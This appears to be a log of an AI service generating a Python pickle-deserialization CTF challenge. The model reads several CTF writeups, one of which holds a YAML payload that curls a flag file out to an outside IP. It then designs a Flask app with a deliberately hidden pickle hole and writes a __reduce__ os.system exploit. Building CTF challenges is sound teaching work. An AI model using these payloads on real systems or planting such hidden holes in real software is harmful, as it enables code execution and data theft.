[2026-01-07 10:48:09] [DEBUG] [AIService] 阶段 2 不满足条件 knowledge_count > 1，跳过 [2026-01-07 10:48:09] [INFO] [AIService] 已从数据库加载已编译的 Prompt 模板（难度: 入门） [2026-01-07 10:48:09] [INFO] [AIService] 已加载 Prompt，包含 9 个阶段 [2026-01-07 10:48:09] [INFO] [AIService] 初始化 9 个阶段 (task_id: 20260107104809-30939f8d-e5b8-4710-b08c-fcf190a878c9) [2026-01-07 10:48:09] [INFO] [AIService] 已设置系统提示词 (7643 字符) [2026-01-07 10:48:09] [INFO] [AIService] 已从数据库加载系统 Prompt (7643 字符) [2026-01-07 10:48:09] [INFO] [AIService] 开始生成 CTF 题目: 入门 / Python / Python反序列化 [2026-01-07 10:48:09] [INFO] [AIService] 用户指令内容: - 语言：Python - 难度级别：入门 - 漏洞类型：Python反序列化 - 应用场景：生活服务 [2026-01-07 10:48:09] [DEBUG] [AIService] 阶段 0 (ID: 1, 用户输入需求): processing - 正在处理: 用户输入需求... [2026-01-07 10:48:09] [DEBUG] [AIService] 阶段 0 (ID: 1, 用户输入需求): completed - 用户输入需求已确认 [2026-01-07 10:48:09] [SYSTEM] [AIService] ============================================================ [2026-01-07 10:48:09] [INFO] [AIService] [轮次 1] 发送给 AI 的消息: [2026-01-07 10:48:09] [INFO] [AIService] - 语言：Python - 难度级别：入门 - 漏洞类型：Python反序列化 - 应用场景：生活服务 [2026-01-07 10:48:09] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-07 10:48:15] [SYSTEM] [AIService] ============================================================ [2026-01-07 10:48:15] [INFO] [AIService] [轮次 1] AI 响应: [2026-01-07 10:48:15] [INFO] [AIService] 阶段1：用户输入需求 已接收用户需求： - 语言：Python - 难度：入门（1个漏洞） - 漏洞：Python反序列化 - 场景：生活服务 阶段2：漏洞主次分类 入门难度只允许1个漏洞，跳过此阶段。 阶段3：知识库获取 现在从知识库中获取Python反序列化相关的writeup学习材料。 [2026-01-07 10:48:15] [DEBUG] [AIService] 保存阶段 0 摘要: [2026-01-07 10:48:15] [DEBUG] [AIService] 阶段 0 (ID: 1, 用户输入需求): completed - 阶段 0 完成 [2026-01-07 10:48:15] [DEBUG] [AIService] 阶段 1 (ID: 3, 知识库获取): processing - 正在执行: 知识库获取 [2026-01-07 10:48:15] [INFO] [AIService] 进入阶段 1 (ID: 3): 知识库获取 [2026-01-07 10:48:15] [TOOL] [AIService] [轮次 1] AI 请求执行 1 个工具: [2026-01-07 10:48:15] [INFO] [AIService] 🔧 run_command: 参数: {"command": "python3 data/scripts/choice.py --difficulty=入门 --count=5 \"Python反序列化\""} [2026-01-07 10:48:15] [INFO] [AIService] 执行工具: run_command [2026-01-07 10:48:15] [INFO] [AIService] [Tool] 执行工具: run_command [2026-01-07 10:48:15] [INFO] [AIService] [Tool] 执行命令: python3 data/scripts/choice.py --difficulty=入门 --count=5 "Python反序列化"... [2026-01-07 10:48:15] [INFO] [AIService] [Tool] 执行 data/ 目录内的可执行文件，应用受限环境 [2026-01-07 10:48:16] [INFO] [AIService] 🔧 run_command: 结果: 📊 指定数量: 5 篇writeup 📁 分类 [Python反序列化]: 找到 7/9 个有效writeup ✅ 分类 [Python反序列化]: 从 7 个有效writeup中选择了 5 篇 ============================================================ 📚 最终汇总选出的 5 篇文章： - File Store.md - Homedrive.md - Jar.md - Paddle.md - Pickle Store.md [2026-01-07 10:48:16] [INFO] [AIService] 🔧 run_command: 📊 指定数量: 5 篇writeup 📁 分类 [Python反序列化]: 找到 7/9 个有效writeup ✅ 分类 [Python反序列化]: 从 7 个有效writeup中选择了 5 篇 ============================================================ 📚 最终汇总选出的 5 篇文章： - File Store.md - Homedrive.md - Jar.md - Paddle.md - Pickle Store.md [2026-01-07 10:48:16] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-07 10:48:19] [SYSTEM] [AIService] ============================================================ [2026-01-07 10:48:19] [INFO] [AIService] [轮次 2] AI 响应: [2026-01-07 10:48:19] [INFO] [AIService] 现在读取这些writeup文件的内容： [2026-01-07 10:48:19] [TOOL] [AIService] [轮次 2] AI 请求执行 1 个工具: [2026-01-07 10:48:19] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/File Store.md"} [2026-01-07 10:48:19] [INFO] [AIService] 执行工具: read_file [2026-01-07 10:48:19] [INFO] [AIService] [Tool] 执行工具: read_file [2026-01-07 10:48:19] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/File Store.md (15167 字符) [2026-01-07 10:48:19] [INFO] [AIService] 🔧 read_file: 结果: # KalmarCTF 2024 by *Hack Sleep Deploy Repeat* ([KalmarCTF](https://kalmarc.tf/teams/260), [CTFtime](https://ctftime.org/team/284495)) ## web ### File Store (59 Solves) #### Prompt > Upload your files on the Kalmar File Store and share them with your friends. > > Note: For this challenge, you will not be sharing it by anybody else. Thus, > you need to start your own instance. > > [https://filestore.chal-kalmarc.tf](https://filestore.chal-kalmarc.tf/) > > > <./file-store.zip> ... (截断，共 8025 字符) [2026-01-07 10:48:19] [INFO] [AIService] 🔧 read_file: # KalmarCTF 2024 by *Hack Sleep Deploy Repeat* ([KalmarCTF](https://kalmarc.tf/teams/260), [CTFtime](https://ctftime.org/team/284495)) ## web ### File Store (59 Solves) #### Prompt > Upload your files on the Kalmar File Store and share them with your friends. > > Note: For this challenge, you will not be sharing it by anybody else. Thus, > you need to start your own instance. > > [https://filestore.chal-kalmarc.tf](https://filestore.chal-kalmarc.tf/) > > > <./file-store.zip> ![File_Store.png](./File_Store.png) #### Reconnaissance Upon visiting the provided URL and spinning up an instance, we are presented with a web interface that allows the upload of files to a File Store web application, which is subsequently stored in a directory specific to the session ID. ![UI.png](./UI.png) #### Challenge Source ##### app.py (with our comments) ```python from flask import Flask, request, render_template, redirect, session from flask_session import Session # flask_ses ... (截断，共 8025 字符) [2026-01-07 10:48:19] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-07 10:48:22] [TOOL] [AIService] [轮次 3] AI 请求执行 1 个工具: [2026-01-07 10:48:22] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/Homedrive.md"} [2026-01-07 10:48:22] [INFO] [AIService] 执行工具: read_file [2026-01-07 10:48:22] [INFO] [AIService] [Tool] 执行工具: read_file [2026-01-07 10:48:22] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/Homedrive.md (1405 字符) [2026-01-07 10:48:22] [INFO] [AIService] 🔧 read_file: 结果: Short writeup per now. will update later create yaml file `!python/object/apply:os.system ["curl 172.30.0.14:1337 -d @/root/flag.txt"]` ``` http POST http://172.30.0.8:5000/register Host:manager.home.drive username=admin [email protected] password=admin HTTP/1.0 200 OK Content-Length: 37 Content-Type: application/json Date: Sun, 15 Aug 2021 03:07:47 GMT Server: Werkzeug/2.0.1 Python/3.9.6 { "message": "New user created!" } ``` ``` http http://172.30.0.8:5000/login Hos... (截断，共 1405 字符) [2026-01-07 10:48:22] [INFO] [AIService] 🔧 read_file: Short writeup per now. will update later create yaml file `!python/object/apply:os.system ["curl 172.30.0.14:1337 -d @/root/flag.txt"]` ``` http POST http://172.30.0.8:5000/register Host:manager.home.drive username=admin [email protected] password=admin HTTP/1.0 200 OK Content-Length: 37 Content-Type: application/json Date: Sun, 15 Aug 2021 03:07:47 GMT Server: Werkzeug/2.0.1 Python/3.9.6 { "message": "New user created!" } ``` ``` http http://172.30.0.8:5000/login Host:manager.home.drive username=admin [email protected] password=admin HTTP/1.0 200 OK Content-Length: 277 Content-Type: application/json Date: Sun, 15 Aug 2021 03:08:17 GMT Server: Werkzeug/2.0.1 Python/3.9.6 { "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjI5MDI1NzUzfQ.oOJybJDRRR6Op53UX2K37Kgbj_wPa1wkt2NbLGlRtBbbzFrPOFSvMkjDJK-E-2W1uzHCocpZllwCevPRfET9uFdFnaYfVhMa- xrNg4oUJaxV8QdUJh5w2PymDTpM8QzEOMdPl7QTkwjZnzLb7ARDaygM6jP37vDanRzkJMBrR2Q" } ... (截断，共 1405 字符) [2026-01-07 10:48:22] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-07 10:48:30] [TOOL] [AIService] [轮次 4] AI 请求执行 1 个工具: [2026-01-07 10:48:30] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/Jar.md"} [2026-01-07 10:48:30] [INFO] [AIService] 执行工具: read_file [2026-01-07 10:48:30] [INFO] [AIService] [Tool] 执行工具: read_file [2026-01-07 10:48:30] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/Jar.md (2681 字符) [2026-01-07 10:48:30] [INFO] [AIService] 🔧 read_file: 结果: # Jar ## Challenge: My other pickle challenges seem to be giving you all a hard time, so here's a [simpler one](https://jar.2021.chall.actf.co/) to get you warmed up. ## Solution: We’re given a link to the web application, the Python source code, and a picture of a pickle. The hint points to the [documentation for the Python pickle module](https://docs.python.org/3/library/pickle.html), a clue that this application is vulnerable to insecure deserialization. The site shows a single form inpu... (截断，共 2681 字符) [2026-01-07 10:48:30] [INFO] [AIService] 🔧 read_file: # Jar ## Challenge: My other pickle challenges seem to be giving you all a hard time, so here's a [simpler one](https://jar.2021.chall.actf.co/) to get you warmed up. ## Solution: We’re given a link to the web application, the Python source code, and a picture of a pickle. The hint points to the [documentation for the Python pickle module](https://docs.python.org/3/library/pickle.html), a clue that this application is vulnerable to insecure deserialization. The site shows a single form input with an “Add Item” button. Whatever we submit is appended to the page. Looking at the source code, we can see that the `contents` cookie is used to store these submissions. On a post request, the `contents` cookie is Base64 decoded and then deserialized and stored in an array. The new item is added, the array is serialized, and then the cookie is reencoded and set in the browser. When we visit the page, the `contents` cookie is decoded and deserialized and the objects are used to generate the ... (截断，共 2681 字符) [2026-01-07 10:48:30] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-07 10:48:33] [TOOL] [AIService] [轮次 5] AI 请求执行 1 个工具: [2026-01-07 10:48:33] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/Paddle.md"} [2026-01-07 10:48:33] [INFO] [AIService] 执行工具: read_file [2026-01-07 10:48:33] [INFO] [AIService] [Tool] 执行工具: read_file [2026-01-07 10:48:33] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/Paddle.md (2848 字符) [2026-01-07 10:48:33] [INFO] [AIService] 🔧 read_file: 结果: # Paddle **Tags**: Clone-and-Pwn, web > Flexible to serve ML models, and more. For this challenge, we are given a Dockerfile that installs the latest version of [Paddle Servinge](https://github.com/PaddlePaddle/Serving) and runs the built-in demo. ```Dockerfile FROM python:3.6-slim RUN apt-get update && \ apt-get install libgomp1 && \ rm -rf /var/lib/apt/lists/* RUN pip install \ paddle-serving-server==0.9.0 \ paddle-serving-client==0.9.0 \ paddle-serving-app==0.9.0 \ paddl... (截断，共 2848 字符) [2026-01-07 10:48:33] [INFO] [AIService] 🔧 read_file: # Paddle **Tags**: Clone-and-Pwn, web > Flexible to serve ML models, and more. For this challenge, we are given a Dockerfile that installs the latest version of [Paddle Servinge](https://github.com/PaddlePaddle/Serving) and runs the built-in demo. ```Dockerfile FROM python:3.6-slim RUN apt-get update && \ apt-get install libgomp1 && \ rm -rf /var/lib/apt/lists/* RUN pip install \ paddle-serving-server==0.9.0 \ paddle-serving-client==0.9.0 \ paddle-serving-app==0.9.0 \ paddlepaddle==2.3.0 WORKDIR /usr/local/lib/python3.6/site- packages/paddle_serving_server/env_check/simple_web_service RUN cp config_cpu.yml config.yml RUN echo "rwctf{this is flag}" > /flag CMD ["python", "web_service.py"] ``` Looking at the codebase, we can find Pickle deserialization in the [`python/pipeline/operator.py`](https://github.com/PaddlePaddle/Serving/blob/v0.9.0/python/pipeline/operator.py) file. So if can control the `tensor` argument of `proto_tensor_2_numpy`, we can get RC ... (截断，共 2848 字符) [2026-01-07 10:48:33] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-07 10:48:36] [TOOL] [AIService] [轮次 6] AI 请求执行 1 个工具: [2026-01-07 10:48:36] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/Pickle Store.md"} [2026-01-07 10:48:36] [INFO] [AIService] 执行工具: read_file [2026-01-07 10:48:36] [INFO] [AIService] [Tool] 执行工具: read_file [2026-01-07 10:48:36] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/Pickle Store.md (8997 字符) [2026-01-07 10:48:36] [INFO] [AIService] 🔧 read_file: 结果: # Pickle Store \- 223 Points / 109 Solves ## Background New pickles just dropped! Check out the store. [https://pickles-web.challenges.ctf.ritsec.club/](https://pickles- web.challenges.ctf.ritsec.club/) ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC- CTF-2023/images/Pasted%20image%2020230402122900.png) ## Enumeration **Home page:** ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC- CTF-2023/images/Pasted%20image%2020230402122911.png) In h... (截断，共 8024 字符) [2026-01-07 10:48:36] [INFO] [AIService] 🔧 read_file: # Pickle Store \- 223 Points / 109 Solves ## Background New pickles just dropped! Check out the store. [https://pickles-web.challenges.ctf.ritsec.club/](https://pickles- web.challenges.ctf.ritsec.club/) ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC- CTF-2023/images/Pasted%20image%2020230402122900.png) ## Enumeration **Home page:** ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC- CTF-2023/images/Pasted%20image%2020230402122911.png) In here, we can pick 4 different pickles. **View source page:** ```html [...]
Your order: {order_obj}" except Exception as e: return f"

Error processing order: {str(e)}

" return "

No order found

" @app.route('/checkout', methods=['POST']) def checkout(): item = request.form.get('item', '') if item: pickled_item = pickle.dumps(item) encoded_item = base64.b64encode(pickled_item).decode() response = make_response(f"

Added {item} to cart

") response.set_cookie('cart', encoded_item) return response return "

No item selected

" if __name__ == '__main__': app.run(host='0.0.0.0', port=5000) ``` #### exp 核心代码 ```python import pickle import base64 import requests class RCE: def __reduce__(self): import os return (os.system, ('cat /flag.txt',)) def generate_payload(): pickled = pickle.dumps(RCE()) return base64.b64encode(pickled).decode() def exploit(url): payload = generate_payload() cookies = {'order': payload} response = requests.get(f"{url}/order", cookies=cookies) return response.text ``` #### 依赖清单 - Flask==2.3.3 - requests==2.31.0 ### 5.3.1 代码可运行性自检 1. **导入完整吗？** ✅ 代码中用到的所有模块都有 import 2. **路由正确吗？** ✅ exp 请求的路径 `/order` 和后端定义的路由一致 3. **参数名一致吗？** ✅ exp 使用 cookie 名 `order` 和后端接收的 `order` 一致 4. **响应格式对吗？** ✅ exp 期望的响应格式和后端返回的格式一致 ### 5.4 简易 exp 草稿（用于 Docker 测试） ```python # 简易 exp 草稿（仅用于测试，阶段 7 会完善） import requests import pickle import base64 url = "http://localhost:5000" # Step 1: 生成 payload class RCE: def __reduce__(self): import os return (os.system, ('cat /flag.txt',)) pickled = pickle.dumps(RCE()) payload = base64.b64encode(pickled).decode() # Step 2: 发送 payload cookies = {'order': payload} r = requests.get(f"{url}/order", cookies=cookies) # 预期结果：能看到 flag 内容或命令执行结果 print(r.text) ``` ### 5.5 设计摘要 ``` ### 设计摘要 - 题目名称：PickleMart - 利用链：查看页面 -> 发现 cookie 反序列化 -> 构造 payload -> 获取 flag - 黑名单：无 - 关键 payload：使用 `__reduce__` 方法的 pickle 序列化对象 - 容器端口：5000 - 场景：生活服务（在线超市购物车） ``` 阶段6：质量检查 ### 检查清单 - [x] **深度达标**：平均深度 2.5，最高深度 4.0，符合入门难度要求 - [x] **漏洞覆盖**：用户要求的 Python 反序列化漏洞在利用链中 - [x] **代码可行**：阶段 5.3 的核心代码能正常运行 - [x] **payload 兼容**：无黑名单，payload 不会被过滤 **所有检查通过，可以进入下一阶段** 阶段7：代码生成 ### 7.1 生成原则 1. **完整性**：包含所有设计的功能点和漏洞点 2. **零注释**：代码中禁止任何注释 3. **真实性**：模拟真实业务逻辑 4. **隐蔽性**：漏洞点自然隐藏在业务逻辑中 ### 7.2 增量生成顺序 #### 1. 后端代码 [2026-01-07 10:49:40] [DEBUG] [AIService] 保存阶段 1 摘要: [2026-01-07 10:49:40] [DEBUG] [AIService] 阶段 1 (ID: 3, 知识库获取): completed - 阶段 1 完成 [2026-01-07 10:49:40] [DEBUG] [AIService] 阶段 2 (ID: 4, 知识整理): completed - 阶段 2 完成 [2026-01-07 10:49:40] [DEBUG] [AIService] 阶段 3 (ID: 5, 题目设计): completed - 阶段 3 完成 [2026-01-07 10:49:40] [DEBUG] [AIService] 阶段 4 (ID: 6, 质量检查): completed - 阶段 4 完成 [2026-01-07 10:49:40] [DEBUG] [AIService] 阶段 5 (ID: 7, 代码生成): processing - 正在执行: 代码生成 [2026-01-07 10:49:40] [INFO] [AIService] 进入阶段 5 (ID: 7): 代码生成 [2026-01-07 10:49:40] [TOOL] [AIService] [轮次 7] AI 请求执行 1 个工具: [2026-01-07 10:49:40] [INFO] [AIService] 🔧 write_file: 参数: {"path": "output/app.py", "content": "from flask import Flask, request, render_template, make_response\nimport pickle\nimport base64\nimport os\n\napp = Flask(__name__)\n\nFLAG = os.environ.get('FLAG', 'DASCTF{test12345}')\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/order', methods=['GET'])\ndef order():\n order_cookie = request.cookies.get('order', '')\n \n if order_cookie:\n try:\n order_data = base64.b64decode(order_coo... (截断) [2026-01-07 10:49:40] [INFO] [AIService] 执行工具: write_file [2026-01-07 10:49:40] [INFO] [AIService] [Tool] 执行工具: write_file [2026-01-07 10:49:40] [INFO] [AIService] [Tool] 写入文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/output/app.py (1326 字符) [2026-01-07 10:49:40] [INFO] [AIService] 🔧 write_file: 结果: 文件已保存: /Users/yu22x/Desktop/ge/ctf/ge10/web/output/app.py [2026-01-07 10:49:40] [INFO] [AIService] 🔧 write_file: 文件已保存: /Users/yu22x/Desktop/ge/ctf/ge10/web/output/app.py [2026-01-07 10:49:40] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-07 10:49:44] [SYSTEM] [AIService] ============================================================ [2026-01-07 10:49:44] [INFO] [AIService] [轮次 8] AI 响应: [2026-01-07 10:49:44] [INFO] [AIService] #### 2. 依赖文件 [2026-01-07 10:49:44] [TOOL] [AIService] [轮次 8] AI 请求执行 1 个工具: [2026-01-07 10:49:44] [INFO] [AIService] 🔧 write_file: 参数: {"path": "output/requirements.txt", "content": "Flask==2.3.3"} [2026-01-07 10:49:44] [INFO] [AIService] 执行工具: write_file [2026-01-07 10:49:44] [INFO] [AIService] [Tool] 执行工具: write_file [2026-01-07 10:49:44] [INFO] [AIService] [Tool] 写入文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/output/requirements.txt (12 字符) [2026-01-07 10:49:44] [INFO] [AIService] 🔧 write_file: 结果: 文件已保存: /Users/yu22x/Desktop/ge/ctf/ge10/web/output/requirements.txt [2026-01-07 10:49:44] [INFO] [AIService] 🔧 write_file: 文件已保存: /Users/yu22x/Desktop/ge/ctf/ge10/web/output/requirements.txt [2026-01-07 10:49:44] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-07 10:50:19] [SYSTEM] [AIService] ============================================================ [2026-01-07 10:50:19] [INFO] [AIService] [轮次 9] AI 响应: [2026-01-07 10:50:19] [INFO] [AIService] #### 3. 前端文件 [2026-01-07 10:50:19] [TOOL] [AIService] [轮次 9] AI 请求执行 1 个工具: [2026-01-07 10:50:19] [INFO] [AIService] 🔧 write_file: 参数: {"path": "output/templates/index.html", "content": "\n\n\n PickleMart - Online Supermarket\n